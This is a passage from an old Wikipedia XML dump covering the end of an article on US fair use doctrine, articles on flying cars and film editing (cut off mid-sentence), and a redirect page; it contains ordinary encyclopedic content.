Although the [[Supreme Court of the United States|Supreme Court]] has ruled that the availability of copyright protection should not depend on the artistic quality or merit of the work at issue, fair use analyses nevertheless consider certain aspects of the copied work, such as whether it is fictional or non-fictional, to be germane.  In order to prevent the private ownership of work that rightfully belongs in the public domain, facts and ideas cannot be copyrighted&amp;mdash;only their particular expression or fixation merits such protection. (See [[idea-expression divide]].)  On the other hand, the social usefulness of freely available information can weigh against the appropriateness of copyright for certain fixations.  The Zapruder film of the assassination of President Kennedy, for example, was purchased and copyrighted by ''Time'' magazine.  Yet their copyright was not upheld, in the name of the public interest, when they tried to enjoin the reproduction of stills from the film in a history book on the subject (see ''Time Inc. v. Bernard Geis Associates'', [[Case citation|293 F. Supp. 130]]).  

Following the decisions of the Second Circuit in ''Salinger v. Random House, Inc.'', [[Case citation|650 F. Supp. 413]] ([[S.D.N.Y.]] [[1986]]), and in ''New Era Publications Int'l v. Henry Holt &amp; Co.'', [[Case citation|695 F. Supp. 1493]] ([[S.D.N.Y.]] [[1988]]), whether the copied work has been previously published suddenly trumped all other considerations because of, in the words of one commentator, &quot;the original author's interest in controlling the circumstances of the first public revelation of his work, and his right, if he so chooses, not to publish at all.&quot;  Yet some view this importation of certain aspects of France's ''droit moral d'artiste'' into American copyright law as &quot;bizarre and contradictory&quot; because it sometimes grants greater protection to works that were created for private purposes that have little to do with the public goals of copyright law, than to those works that copyright was initially conceived to protect.  This is not to claim that unpublished works, or, more specifically, works not intended for publication, do not deserve legal protection, but that any such protection should come from laws about privacy, rather than from laws about copyright.
This debate is still open in the courts.

=== Amount and substantiality ===

The third factor assesses the quantity or percentage of the original copyrighted work that has been imported into the new work.  In general, the less that is used in relation to the whole, e.g., a few sentences of a text for a book review, the more likely that the sample will be considered fair use.  Yet see ''[[Sony Corp. of America v. Universal City Studios, Inc.|Sony Corp. v. Universal City Studios]]'' for a case in which substantial copying &amp;mdash; entire programs for private viewing &amp;mdash; was upheld as fair use. Conversely, in ''[[Harper &amp; Row, Publishers, Inc. v. Nation Enters.]]'', [[Case citation|471 U.S. 539]] ([[1985]]), the use of less than 400 words from [[Gerald Ford|President Ford]]'s memoir by a political opinion magazine was interpreted as infringement because those few words represented &quot;the heart of the book&quot; and were, as such, substantial.

Prior to [[1991]], [[sampling (music)|sampling]] in certain genres of music was accepted practice and such copyright considerations as these were viewed as largely irrelevant. The infamously strict decision against [[rap]]per [[Biz Markie]]'s appropriation of a [[Gilbert O'Sullivan]] song in the case ''[[Grand Upright v. Warner]]'', [[Case citation|780 F. Supp. 182]] ([[S.D.N.Y.]] 1991), changed practices and opinions overnight. Samples now had to be licensed, so long as they rose &quot;to a level of legally cognizable appropriation&quot; (see ''[[Bridgeport Music Inc. v. Dimension Films]]'', [[Case citation|230 F. Supp.2d at 841]] [http://fsnews.findlaw.com/cases/6th/04a0297p.html]). In other words, ''de minimis'' sampling was still considered fair and free because, traditionally, &quot;the law does not care about trifles.&quot;  The recent Sixth Circuit Court decision in the appeal to ''Bridgeport Music'' has reversed this standing. The new rule in that Circuit is even more strict in its rendering of copyright law: &quot;get a license or do not sample.&quot; Fair use does not come into play at all.

=== Effect upon work's value ===

The fourth factor measures the effect that the allegedly infringing use has had on the copyright owner's ability to exploit his original work.  The court not only investigates whether the defendant's specific use of the work has significantly harmed the copyright owner's market, but also whether such uses in general, if widespread, would harm the potential market of the original.  The burden of proof here rests on the defendant for commercial uses, but on the copyright owner for noncommercial uses. See ''[[Sony Corp. v. Universal City Studios]]'', [[Case citation|464 U.S. 417, 451]] ([[1984]]), where the copyright owner, [[Universal Studios|Universal]], failed to provide any empirical evidence that the use of [[Betamax]] had either reduced their viewership or negatively impacted their business.  In the ''Nation'' case regarding President Ford's memoirs above, the Supreme Court labelled this factor &quot;the single most important element of fair use&quot; (471 U.S. at 566) and it has indeed enjoyed some level of primacy in fair use analyses ever since.  Yet the Supreme Court's more recent announcement in ''[[Campbell v. Acuff-Rose Music, Inc.]]'', [[Case citation|510 U.S. at 578]] ([[1994]]), that &quot;all [four factors] are to be explored, and the results weighed together, in light of the purposes of copyright&quot; has helped modulate this emphasis in interpretation.  

In evaluating the fourth factor, courts often consider two kinds of harm to the potential market of the original work.  First, courts consider whether the use in question acts as a direct market substitute for the original work.  In the words of the Supreme Court in ''Acuff-Rose Music'', &quot;when a commercial use amounts to mere duplication of the entirety of the original, it clearly supersedes the object of the original and serves as a market replacement for it, making it likely that cognizable market harm to the original will occur.&quot;  In one instance, a court ruled that this factor weighed against a defendant who had made unauthorized movie trailers for video retailers, since his trailers acted as direct substitutes for the copyright owner's official trailers. See ''[[Video Pipeline v. Buena Vista]]'', [[Case citation|342 F.3d 191]] ([[3d Cir.]] [[2003]]).  On the other hand, one might well question whether [[Roland Barthes]]' ''S/Z'' clearly supersedes [[Honoré de Balzac]]'s short story &quot;Sarrasine&quot; as a market replacement, since it reproduces the entirety of the latter, though only in short fragments followed by much critical explication by Barthes.  Second, courts also consider whether potential market harm might exist beyond that of direct substitution, such as in the potential existence of a licensing market.  This consideration has weighed against commercial copy shops that make copies of articles in course-packs for college students, when a market already existed for the licensing of course-pack copies. See ''[[Princeton Univ. Press v. Michigan Document Services]]'', [[Case citation|99 F.3d 1381]] ([[6th Cir.]] 1999). 

It is important to note that courts recognize that certain kinds of market harm do not oppose fair use, such as when a parody or negative review impairs the market of the original work.  Fair use considerations may not shield a work against adverse criticism.

==Practical effect of fair use defense==

The practical effect of this law and the court decisions following it is that it is usually possible to quote from a copyrighted work in order to criticize or comment upon it, teach students about it, and possibly for other uses.  Certain well-established uses cause few problems.  A teacher who prints a few copies of a poem to illustrate a technique will have no problem on all four of the above factors (except possibly on amount and substantiality), but some cases are not so clear.  All the factors are considered and balanced in each case: a book reviewer who quotes a paragraph as an example of the author's style will probably fall under fair use even though he may sell his review commercially.  But a non-profit educational website that reproduces whole articles from technical magazines will probably be found to infringe if the publisher can demonstrate that the website affects the market for the magazine, even though the website itself is non-commercial.

==Fair use as a defense==

Fair use is an [[affirmative defense]] to copyright infringement.  This means that if the defendant's actions do not constitute an infringement of the plaintiff's rights (for example, because the plaintiff's work was not copyrighted, or the defendant's work did not borrow from it sufficiently), fair use does not even arise as an issue.  However, it also means that, once the plaintiff has proven (or the defendant concedes) that the defendant has committed an infringing act, the defendant then bears the [[burden of proof|burden of proving]] in court that his copying should nonetheless be excused as a fair use of the plaintiff's work.

Because of the defendant's burden of proof, some copyright owners frequently make claims of infringement even in circumstances where the fair use defense would likely succeed in hopes that the user will refrain from the use rather than spending resources in his defense.  This type of frivolous lawsuit is part of a much larger problem in First Amendment law; see ''[[Strategic lawsuit against public participation]]''.

Because paying a royalty fee may be much less expensive than having a potential copyright suit threaten the publication of a completed work in which a publisher has invested significant resources, many authors may seek a license even for uses that copyright law ostensibly permits without liability. 

==Fair use and parody==

Producers or creators of [[parody|parodies]] of a copyrighted work have been sued for infringement by the targets of their ridicule, even though such use may be protected as fair use.  The fair use cases addressing parodies distinguish between parodies &amp;mdash; using a work in order to poke fun or comment on the work itself &amp;mdash; and satires &amp;mdash; using a work to poke fun or comment on something else. Courts have been more willing to grant fair use protections to parodies than to satires, but the ultimate outcome in either circumstance will turn on the application of the four fair use factors. 

In ''[[Campbell v. Acuff-Rose Music]]'' ([[1994]]), the [[Supreme Court of the United States|Supreme Court]] recognized parody as a fair use, even when done for profit.  [[Roy Orbison]]'s publisher, [[Acuff-Rose Music Inc.]], had sued [[2 Live Crew]] in [[1989]] for their use of Orbison's &quot;[[Oh, Pretty Woman]]&quot; in a mocking rap version with altered lyrics.  The Supreme Court viewed 2 Live Crew's version as a ridiculing commentary on the earlier work, and ruled that when the parody was itself the product rather than used for mere advertising, commercial sale did not bar the defense.  The ''Campbell'' court also distinguished parodies from [[satire]], which they described as a broader social critique not intrinsically tied to ridicule of a specific work, and so not deserving of the same use exceptions as parody because the satirist's ideas are capable of expression without the use of the other particular work.

In a more recent parody case, ''[[Suntrust v. Houghton Mifflin]]'', a suit was brought unsuccessfully against the publication of ''[[The Wind Done Gone]]'', which reused many of the characters and situations from ''[[Gone with the Wind]]'', but told the events from the point of view of the slaves rather than the slaveholders.  The [[United States Court of Appeals for the Eleventh Circuit|Eleventh Circuit]], applying ''Campbell'', recognized that ''The Wind Done Gone'' was a protected parody, and vacated the [[U.S. District Court for the Northern District of Georgia|district court's]] injunction against its publication.

==Fair use on the Internet==

A recent court case, ''[[Kelly v. Arriba Soft Corporation]],'' provides and develops the relationship between [[thumbnail]]s, [[inline linking]] and fair use.  In the lower District Court case on a motion for [[summary judgment]] Arriba Soft was found to have violated copyright without a fair use defense in the use of thumbnail pictures and inline linking from Kelly's website in Arriba's image [[search engine]]. That decision was appealed and contested by Internet rights activists such as the [[Electronic Frontier Foundation]], who argued that it is clearly covered under fair use. On appeal, the 9th Circuit Court of Appeals found that the thumbnails were fair use and remanded the case to the lower court for trial after issuing a revised opinion on [[July 7]], [[2003]]. The remaining issues were resolved with a default judgement after Arriba Soft had experienced significant financial problems and failed to reach a negotiated settlement.

==Common misunderstandings==
&lt;!-- if you see any really draw-dropping misunderstandings, please add them here--&gt;
Because of the deliberate ambiguity of fair use, it is commonly misunderstood. Here are some of the more common misunderstandings with explanations of why they are wrong:
*''It's copyrighted, so it can't be fair use''. Fair use describes conditions under which copyrighted material may be used without permission. If a work is not copyrighted, it's in the public domain and can legally be used without regard to fair use law.
*''Acknowledgement of the source makes a use fair''. Giving the name of the photographer or author may help, but it is not sufficient on its own.  Note  that [[plagiarism]] is a matter of professional ethics, not of copyright &amp;mdash; copyright law protects exact expression, ''not'' ideas, and so while citing the source for an idea prevents plagiarism, it is not necessarily needed to avoid infringing copyright if exact words are not used.  On the other hand, one can plagiarize a work that is not protected by copyright.  
*''Noncommercial use is invariably fair''.  Not true, though a judge may take the profit motive or lack thereof into account.
*''The lack of a copyright notice means the work is public domain''. Not ''always'' true. United States law in effect since [[March 1]], [[1989]] has made copyright the default for newly created works.  For works produced between [[January 1]], [[1978]] and [[March 1]], [[1989]], copyright notice is required; however, registration was not required [http://www.copyright.gov/circs/circ1.html#pub].  Any American works that did not have formal registration or notice fell into the Public Domain if registration was not made in a timely fashion.  For international works, the situation is even more complex.  International authors who failed to provide copyright notice or register with the U.S. copyright office are given additional contemporary remedies which may restore American copyright protection given certain conditions.  International authors/corporations who fail to meet these remedies forfeit their copyright.  An example of a company who failed to prove copyright was [[Roland Corporation]] and their claimed copyright on the sounds contained in their [[MT-32]] synthesizer.
*''It's okay to quote up to 300 words''. The 300-word limit is reported to be an unofficial agreement, now long obsolete, among permissions editors in the New York publishing houses: 'I'll let you copy 300 words from our books if you let us copy 300 words from yours.' It runs counter to the substantiality standard. As explained above, the substantiality of the copying is more important than the actual amount. For instance, copying a complete short poem is more substantial than copying a random paragraph of a novel; copying an 8.5x11-inch photo is more substantial than copying a square foot of an 8x10-foot painting.

==Fair use and trademark law==

In the U.S., there is also a fair use defense in [[trademark]] law based on similar principles as the doctrine under copyright (such as free speech), but with different exceptions.  Fair use is consistent with the more limited protection granted to trademarks, generally specific only to the particular product market and geographic area of the trademark owner.

Most trademarks are adopted from words or symbols already common to the culture (such as [[Apple Computer|Apple]]), instead of being invented by the mark owner (such as [[Kodak]]).  Courts have recognized that ownership in the mark cannot prevent others from using the word or symbol in these other senses, such as if the trademark is a descriptive word or common symbol such as a pine tree.  This means that the less distinctive or original the trademark, the less able the trademark owner will be to control how it is used.

A nonowner may also [[Nominative use|use a trademark ''nominatively'']]&amp;mdash;to refer to the actual trademarked product or its source.  In addition to protecting product criticism and analysis, U.S. law actually encourages nominative usage by competitors in the form of comparative advertising.

Both of these exceptions require that the mark not be used by the nonowner in a way that would be likely to confuse consumers about the source of their (or the trademark owner's) product.  Generally this translates into the requirement, similar to that in fair use under copyright, that no more of the trademark is used than is necessary for the legitimate purpose. For instance, a word mark is preferred to a logo, and a word mark in the same style of type as surrounding text is preferred to a word mark in distinctive type.

==Comparison with other countries==
The United States and the [[Philippines]] are the only countries with a fair use doctrine.  However, comparable copyright limitations can be found in many nations' copyright statutes, though these differ in scope.  Most other [[common law]] countries have a related doctrine known as ''[[fair dealing]]'', which is defined in a constrained manner through an enumerated list of causes for exemption that allows little room for [[case law|judicial interpretation]].  [[Civil law (legal system)|Civil law]] countries have codified similarly specific and narrowly drawn exceptions.  Fair use, however, tends to be an open-ended legal doctrine, as statutory factors are balanced by U.S. judges on a case-by-case basis rather than strictly applied.

==See also==

* [[Berne three-step test]]
* [[Fair dealing]]
* [[Digital rights management]]

==External links and sources==

* [http://copylaw.com/new_articles/fairuse.html Fair Use in a Nutshell: A Roadmap to Copyright's Most Important Exception] &amp;ndash; By Lloyd J. Jassin; from CopyLaw.com
* [http://fairuse.stanford.edu/index.html Copyright and Fair Use] &amp;ndash; From Stanford University Libraries
** [http://fairuse.stanford.edu/primary_materials/cases/ariba_soft.pdf Revised decision the Kelly v. Arriba Soft Corporation case] ([[Portable Document Format|PDF]])
* [http://www.copyright.gov/title17/92chap1.html#107 Limitations on exclusive rights: Fair use] &amp;ndash; From the US Copyright Office
* [http://www.ipwatchdog.com/fairuse_cases.html Some more key fair use cases] &amp;ndash; From IPWatchdog website
* [http://www.copyright.iupui.edu/checklist.pdf Checklist for fair use] ([[Portable Document Format|PDF]]) &amp;ndash; From Purdue University
* [http://www.nolo.com/lawcenter/ency/article.cfm/objectID/C3E49F67-1AA3-4293-9312FE5C119B5806 &quot;When Copying Is Okay: The 'Fair Use' Rule&quot;] &amp;ndash; From Nolo.com/Law for All
* [http://www.jamesshuggins.com/h/oth1/parody.htm Parody and Fair Use] With links to several rulings, including the [http://www.benedict.com/Audio/crew/crew.aspx Pretty Woman] parody.
* [http://cyber.law.harvard.edu/events/SignalNoiseBBFINAL.pdf A Practical Guide to Fair Use Doctrine] ([[Portable Document Format|PDF]]) &amp;ndash; from [http://cyber.law.harvard.edu/sn/ Signal or Noise 2K5] at Harvard University
* [http://www.utsystem.edu/ogc/intellectualproperty/copypol2.htm A guide to the circumstances of fair use]
* [http://www.publaw.com/work.html How Much of Someone Else's Work May I Use Without Asking Permission?: The Fair Use Doctrine, Part I], ''The Publishing Law Center''
* [http://www.publaw.com/fairuse.html Fair Use: Interpretations and Guidelines - The Fair Use Doctrine Part II], ''The Publishing Law Center''
* [[Wikipedia:Fair use]], [[Wikipedia]]'s guideline on the fair use of copyrighted material on Wikipedia.

[[Category:United States intellectual property law]]
[[Category:Fair use|Fair use]]
[[Category:Copyright law]]
[[Category:Equitable defenses]]

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    </revision>
  </page>
  <page>
    <title>Flying car</title>
    <id>10773</id>
    <revision>
      <id>42004413</id>
      <timestamp>2006-03-03T04:05:53Z</timestamp>
      <contributor>
        <ip>205.188.116.196</ip>
      </contributor>
      <comment>/* Vision */</comment>
      <text xml:space="preserve">{{dablink|This article is about flying automobiles.  For information on the [[2002 in film|2002]] [[Kevin Smith]] [[film]], see ''[[The Flying Car]]''.}}
[[image:Waterman Aerobile.jpg|thumb|300px|The Waterman Aerobile at the Smithsonian. Copyright © 1998-2000 National Air and Space Museum, Smithsonian Institution.]]

A '''flying car''' is an [[automobile]] that is designed to take off, fly, and land like an [[aircraft]].
==History==
===Vision===
It wasn't long after The Wirght Brothers made their first successful flight that aviation pioneers began to imagine a hybrid aircraft/automobile. A flying car would be a vehicle for the common man. It could be driven from any home to a convenient take-off area where it could be assembled for flight.
Some current designs, such as the &quot;Magic Dragon&quot; have built-in automatic conversion.

===Early experiments===
[[Glenn Curtiss]], the Wright's chief rival, was the first to design a flying car. The ''Autoplane'' had three wings and an aluminum body, using the same wings as his Model L Triplane which spanned 40 feet. The assembled length was 20 feet, the body/fuselage using a [[twin boom]] rear section with the engine mounted between the booms. The ''Autoplane'' never flew but was exhibited at the Pan-American Aeronautic Exposition in New York City's Grand Central Palace in February [[1917]]. The first patent awarded for a flying car went to [[F. Longobardi]] in [[1918]] and Curtiss received a patent for the ''Autoplane'' in [[1919]].


The first flying car to actually fly was built by [[Waldo Waterman]]. Waterman became associated with Curtiss while Curtiss was pioneering naval aviation at North Island on [[San Diego Bay]] in the [[1910s]]. However, it wasn't until [[February 21]] [[1937]] that Waterman's [[Waterman Arrowbile|Arrowbile]] first took to the air. The ''Arrowbile'' was a development of Waterman's tailless airplane, the [[Waterman Whatsit|Whatsit]]. It had a wingspan of 38 feet and a length of 20 feet 6 inches. On the ground and in the air it was powered by a Studebaker engine. It could fly at 110 MPH and drive at 55 MPH. Five ''Arrowbiles'' were completed and two were flown from [[Santa Monica, California|Santa Monica]], [[California]] to [[Cleveland, Ohio|Cleveland]], [[Ohio]] for demonstration flights during air races. Waterman restored ''Arrowbile'' No. 6 (No. 5 was never completed) in the [[1960s]] and donated it to the [[Smithsonian Institution]], where it is in storage. ''Arrowbile'' No. 4 is reported to still exist in non-working condition.

===Post-war development===
In the [[1950s]], the western world was recovering from [[World War II]] and everything seemed possible. The '''flying car''' was a vision of transportation in the [[21st century]], and a common feature of [[science fiction]] futures.

Several designs exist (such as Moller's [[skycar]]) and while several (such as the Convair flying car and Molt Taylor's Aircar) have flown, none have enjoyed commercial success and those that have flown are not widely known about by the general public. One notable design, [[Henry Smolinski|Henry Smolinski's]] ''[[Mizar (flying car)|Mizar]]'', made by mating the rear end of a [[Cessna Skymaster]] with a [[Ford Motor Company|Ford]] [[Ford Pinto|Pinto]], disintegrated during test flights, killing Smolinski and the pilot. 

Current projects include the [[Milner AirCar]], a two-door, four-seat canard-style aircraft. For ground operations, the 28 ft wingspan folds to a 7 ft wide vehicle. It is expected that using advanced composites, the vehicle will meet FMVSS crash-worthiness requirements.

In the [[1950s]], [[Ford Motor Company]] performed a serious feasibility study for a flying car product. They concluded that such a product was technically feasible, economically manufacturable, and had significant realistic markets. The markets explored included ambulance services, police and emergency services, military uses, and initially, luxury transportation. Some of these markets are now served by light [[helicopter|helicopters]], proving the accuracy of Ford's marketing. However, the flying car explored by Ford would be at least fifty-fold less expensive.&lt;br&gt;
When Ford approached the U.S. Federal Aviation Administration about regulatory issues, the critical problem was that the (then) known forms of air traffic control were inadequate for the volume of traffic Ford proposed. At the time, air traffic control consisted of flight numbers, altitudes and headings written on little slips of paper and placed in a case. Quite possibly computerized traffic control, or some form of directional allocation by altitude could resolve the problems. Other problems would also need to be resolved in some ways, however, including intoxicated drivers or motorists that drive without a license.

As the successive decades since failed to deliver such a vehicle, the flying car became somewhat of a totem of the failure of [[futurology]] to accurately predict the future development of society and was regularly used to poke fun at futurists. However, the [[Moller Skycar]] passed flight testing in [[2003]] and is awaiting FAA certification. Over 100 have been reserved and production is expected to begin in [[2006]].
[[image:Moller M400 hover test.jpg|thumb|300px|The first practical flying car? The Moller Skycar M400 during a tethered hover test]]

==List of flying cars and roadable aircraft== 
*[[Curtiss Autoplane]] - [[1917]], never flown
*[[Waterman Arrowbile]] - [[1937]] two examples in museums as of 2004
*[[Aerocar Aerocar]] - [[1949]], one example still flying as of 2004
*[[Aerauto PL.5C]] - early 1950s
*[[AVE Mizar]] - [[1973]], Cesna Skymaster/Ford Pinto hybrid. Crashed, killing developer.
*[[Moller Skycar]] - [[2003]], small [[VTOL]].
*[[CarterCopter]] - near VTOL aircraft
*[[Cell craft]]- conceptual flying car
===Fictional===
The novels of [[Philip K. Dick]] and the film ''[[Blade Runner]]'' (the latter based on one of Dick's novels), in particular, feature [[VTOL]] flying cars, in the form of &quot;flapples&quot; and &quot;[[spinner (Blade Runner)|spinner]]s&quot; respectively. Flying cars and other wingless floating vehicles are common in many (if not most) science fiction movies and series that depict a technologically advanced future, including ''[[Star Wars]]'', ''[[The Fifth Element]]'', ''[[Star Trek]]'', and ''[[The Matrix]]''. Usually these vehicles fly without any visible means of staying aloft (perhaps due to [[anti-gravity]] or some other exotic technology). [[The Absent Minded Professor]] used [[flubber]] to convert his own car into a flying model. One of the most iconic flying cars is the [[De Lorean]] from the film ''[[Back to the Future Part II]]'', which underwent &quot;hover conversion&quot; while time-travelling in the future.

More recently, flying cars have made the transition from science fiction to fantasy in the [[Harry Potter]] books, in the form of an otherwise-stock (and long since obsolete) [[Ford Anglia]] enchanted to fly.

See also [[Chitty Chitty Bang Bang (car)|Chitty Chitty Bang Bang]].

==Popular culture==
In [[Calvin and Hobbes]] in late 1989, the following discussion may be found (and appears to be the earliest known 'Where are the flying cars?'): &quot;Hobbes: ''&quot;A new decade is coming up.&quot;'' Calvin: ''&quot;Yeah, big deal! Hmph. Where are the flying cars? Where are the moon colonies? Where are the personal robots and the zero-gravity boots, huh? You call this a new decade?! You call this the future?? HA! Where are the rocket packs? Where are the disintegration rays? Where are the floating cities?&quot;''

''[[The Flying Car]]'' was a humorous [[short film]] written in 2002 for [[the Tonight Show]] by [[Kevin Smith]]. It featured [[Dante Hicks]] and [[Randal Graves]] stuck in traffic, discussing the lengths to which a man might go to obtain such a vehicle.

The 1974 [[James Bond]] film ''[[The Man with the Golden Gun]]'' portrayed the villain escaping in a [[Aerocar International|Taylor Aerocar]].

A memorable 2001 [[IBM]] commercial featured [[Avery Brooks]] (of [[Star_Trek:Deep_Space_Nine]] fame) complaining “It is the year 2000, but where are the flying cars? I was promised flying cars. I don’t see any flying cars. Why? Why? Why?”  Complaints of the non-existence of flying cars have since become nearly idiomatic as expressions of disappointment in the failure of the present to measure up to the glory of past predictions.  

==See also==
*[[Transport]]
*[[Automobile]]
*[[future of the car]]

==External links==
* [http://www.volanteaircraft.com Flying car] ([[Volante Aircraft]])
* [http://www.nasm.si.edu/research/aero/aircraft/waterman.htm Waterman Arrowbile at the Smithsonian]
* [http://news.bbc.co.uk/1/hi/sci/tech/3676694.stm Flying cars in 25 years] ([[BBC News Online]])
* [http://www.roadabletimes.com/ Roadable Times]
* [http://www.gizio.it/homeengl.htm Cell craft]
* [http://www.theregister.com/2006/01/23/flying_car/ Flying car] (apparently)
&lt;!--Categories--&gt;
[[Category:Roadable aircraft]]

&lt;!--Other languages--&gt;
[[da:Flyvende bil]]
[[fi:Lentoauto]]</text>
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  <page>
    <title>French language/Proven</title>
    <id>10774</id>
    <revision>
      <id>15908569</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>redirect to Occitan_language</comment>
      <text xml:space="preserve">#REDIRECT [[Occitan_language]]</text>
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  </page>
  <page>
    <title>Film editing</title>
    <id>10775</id>
    <revision>
      <id>41363073</id>
      <timestamp>2006-02-26T21:38:02Z</timestamp>
      <contributor>
        <ip>68.126.142.143</ip>
      </contributor>
      <comment>/* Classical montage sequence */</comment>
      <text xml:space="preserve">'''Film editing''', also called montage, is the connecting of one or more [[shot_(film)|shot]]s together in a sequence.


== The development of film editing processes ==
Film editing evolved from the process of physically cutting and taping together pieces of film, using a viewer such as a [[Moviola]] or [[Steenbeck]] to look at the results.

All initial editing is done with a positive copy of the negative called a workprint. This allows the editor to do as much experimenting as he or she wishes, without the risk of damaging the original. 

When the workprint has been cut to a satisfactory state, it is then used to make a negative cutting list. The negative cutter refers to this list while processing the negative, splitting the shots into A and B rolls, which are then optically printed to produce the final film print.

Since the film was physically cut and pasted, a 'nonlinear' style of editing evolved. At the workprint stage, strips of film could be placed in any order. This approach is generally considered superior to the strictly linear approach that was necessary in [[linear video editing|video editing]] through the 1970s. A video 'cut' is really the copying of [[scene (film)|scenes]] from various camera tapes onto a master. Before the development of powerful computer systems that could store large amounts of visual data for transfer, it was necessary to make the transfer in strictly linear order. Trying to insert a shot between two shots already on the master tape would create noise, etc. A system such as [[Avid]] allows the creation of a workprint.

In recent years, 'film editing' has come to mean what a 'film editor' does, even though the work involved is now generally performed on a computer-based [[non-linear editing system]], such as [[Avid]], [[Lightworks]] or Apple's [[Final Cut Pro]] and, at the semi-professional level, by programs such as [[Adobe Premiere Pro]], [[Pinnacle Edition]] or [[Sony Vegas]].

If the end product is to be a traditional movie, the final negative cutting list is produced from the software, and the negative cutting process occurs as before.

In other cases, an [[edit decision list]] may be generated for a video editing system.

With the emergence of [[digital cinema]], there is now a movement towards all-digital assembly of the final product, such as in CFC's [[Digital Lab]] process.

==Film Editor==

A film editor is a person who practices film editing by assembling separate takes into a coherent film. This is not a simple matter of tacking the scene of the man walking up to the front door to the scene of the man inside the house. In making a film the editors play a dynamic and creative role.

Typically, the editor follows the screenplay as the guide for establishing the structure of the story and then uses his/her talents to assemble the various shots and takes for greater, clearer artistic effect. There are several editing stages. The film editor often starts work while shooting is still in progress, and, in the first stage of editing he or she will work alone to create an &quot;editor's cut&quot; of the film. It's often many times longer than the final film will be. When time permits, the editor colloborates with the person whom the industry regards as the real artist of the movie, the [[film director|director]], who gives &quot;notes&quot; on the editors cut. The editor and director will also have seen and discussed &quot;[[dailies]]&quot; (raw footage shot each day) together as shooting progresses. The editor continues to refine the cut while shooting continues.

When shooting is finished, the director can then turn his or her full attention to collaborating with the editor on cutting the film. Scenes are re-ordered, removed, shortened and otherwise tweaked. Often the need arises for new scenes to be shot. After usually several weeks of long days a &quot;director's cut&quot; is created, though this is not to be confused with re-edits some directors have made long after a film is finished - often decades later - to their films that were, in their view, improperly edited in the final stages by the studio and its producers.

After the director's cut, the subsequent cuts are supervised by one or more producers, who represent the production company (studio) and its investors. Hence, the final cut is the one that most closely represents what the studio wants from the film and not necessarily what the director wants. Because of this, there have been several conflicts in the past between the director and the studio, sometimes leading to the use of the &quot;[[Alan Smithee]]&quot; credit signifying disownership or the aforementioned &quot;director's cut&quot; re-issues in subsequent years after the original theatrical releases.

Some directors are also the producers of their films, and, with the approval of the funding studio, have a much tighter grip on what makes the final cut than other directors. The most well-known example of a director who lorded over all aspects of his films, with little studio intervention, and worked completely outside of the Hollywood system is [[Stanley Kubrick]]. On the other hand, [[Orson Welles]] is an example of a director constantly dogged by studio supervison and many times had films taken from him.

Often a film editor is blamed for improper continuity. That is, cutting from a shot where the beer glass is empty to one where it is full. Continuity is, in fact, very nearly last on a film editor's list of important things to maintain. Most important are the emotional and storytelling aspects of film-making - things which are much more abstract and harder to judge - which is why films often take much longer to edit than to shoot.

==Process of Film Editing==
The term video editing can has two meanings, the non-linear editing system, which uses computers and the linear video editing system, which uses videotape. 

Video editing refers to taking various clips or segments of video and &quot;cutting&quot; them together to form a cohesive and concise program. Cutting comes from the movie industry because traditional movie film is actually cut with a razor and spliced together.

Prior to the 90's video editing was done in linear style which consisted of using multiple decks to piece together a program. One or more play decks would run the original footage and an editor would use a video controller or mixing console to play specific parts out to a master deck that recorded the final program including titles and music (which were added in during the process).

Non-linear editing is done using computers. Footage is played back from a camera into a PC via IEEE 1394 connection (also called [[Firewire]], iLink) where it is captured on the hard drive. Editing software, such as Adobe Premiere or Avid Xpress DV, then allows the editor to easily manipulate the captured footage. Clips are arranged on a timeline, music tracks and titles are added, effects can be created, and the finished program is &quot;rendered&quot; into a finished video that can be distributed in a variety of ways via DVD, webstreaming, CDROM, or tape.

Though the tools change over time the process of editing remains the same. Original footage is trimmed (desired parts are isolated, bad parts are removed) and cut together (arranged in time) to create a video or programme. Editing involves the use of various transitions between clips such as the cut, dissolve, and wipe. Editing is an art that is very time consuming and deceptively easy at first glance. It is a difficult thing to do well and requires a tremendous amount of focus, patience, creativity, and attention to detail.

In [[motion picture terminology]], a '''montage''' (from the French for &quot;putting together&quot; or &quot;assembly&quot;) is a [[film editing]] technique.

==Methods of montage==
There are at least three senses of the term:

#In [[France|French]] film practice, &quot;montage&quot; simply identifies a movie's editor. That is, if you see &quot;montage&quot; in a film's end credits, then that is the film's editor.
#In [[Soviet]] filmmaking of the [[1920s]], &quot;montage&quot; was theorized to be the essence of the cinema. Different filmmakers had various ideas about what that essence was.
#In [[classical Hollywood cinema]], a &quot;montage sequence&quot; was a short segment in a film in which narrative information was presented in a condensed fashion.

===Soviet montage===
[[Lev Kuleshov]] was among the very first to theorize about the relatively young medium of the cinema in the 1920s.  For him, the unique essence of the cinema — that which could be duplicated in no other medium — is editing. He argues that editing a film is like constructing a building. Brick-by-brick (shot-by-shot) the building (film) is erected. His often-cited [[Kuleshov Experiment]] established that montage can lead the viewer to reach certain conclusions about the action in a film.  Montage works because viewers infer meaning based on context.

Although, strictly speaking, U.S. film director [[David Wark Griffith|D.W. Griffith]] was not part of the montage school, he was one of the early proponents of the power of editing — mastering [[cross-cutting]] to show parallel action in different locations, and codifying film grammar in other ways as well. Griffith's work in the teens was highly regarded by Kuleshov and other Soviet filmmakers and greatly influenced their understanding of editing.

[[Sergei Eisenstein]] was briefly a student of Kuleshov's, but the two parted ways because they had different ideas of montage.  Eisenstein regarded montage as a [[dialectic|dialectical]] means of creating meaning. By contrasting unrelated shots he tried to provoke associations in the viewer, which were induced by shocks.

Like Kuleshov, Eisenstein was a theorist in addition to being a filmmaker. He established five &quot;methods of montage&quot;:

#Metric — based solely on the length of a shot
#Rhythmic — based on the length of a shot, plus the visual composition of the image
#Tonal — based on the dominant visual style of an image
#Overtonal — based on the interaction of dominant visual styles
#[[intellectual montage|Intellectual]] — based on the symbolic content generated by two (or more) juxtaposed images; a film metaphor

===Classical montage sequence===

The second kind of montage consists of a series of short shots that are edited into a coherent sequence to condense narrative. It is usually used to advance the story as a whole (often to suggest the passage of time), rather than to create symbolic meaning. In many cases, a song plays in the background to enhance the mood or reinforce the message being conveyed.

Many films are well known for their montage scenes.  Examples include the training montages in [[Sylvester Stallone]]'s ''[[Rocky]]'' series of movies, ''[[Dirty Dancing]]'', ''[[Flashdance]]'', several of director [[Sam Raimi]]'s films and the [[satire|satirical]] self-referential montages in ''[[South Park]]'' and ''[[Team America: World Police]]''. In nearly all of these examples, the montages are used to compress narrative time and show the main character learning or improving skills that will help achieve the ultimate goal. The song &quot;Montage&quot; used in ''Team America'''s montage parody described this perfectly:

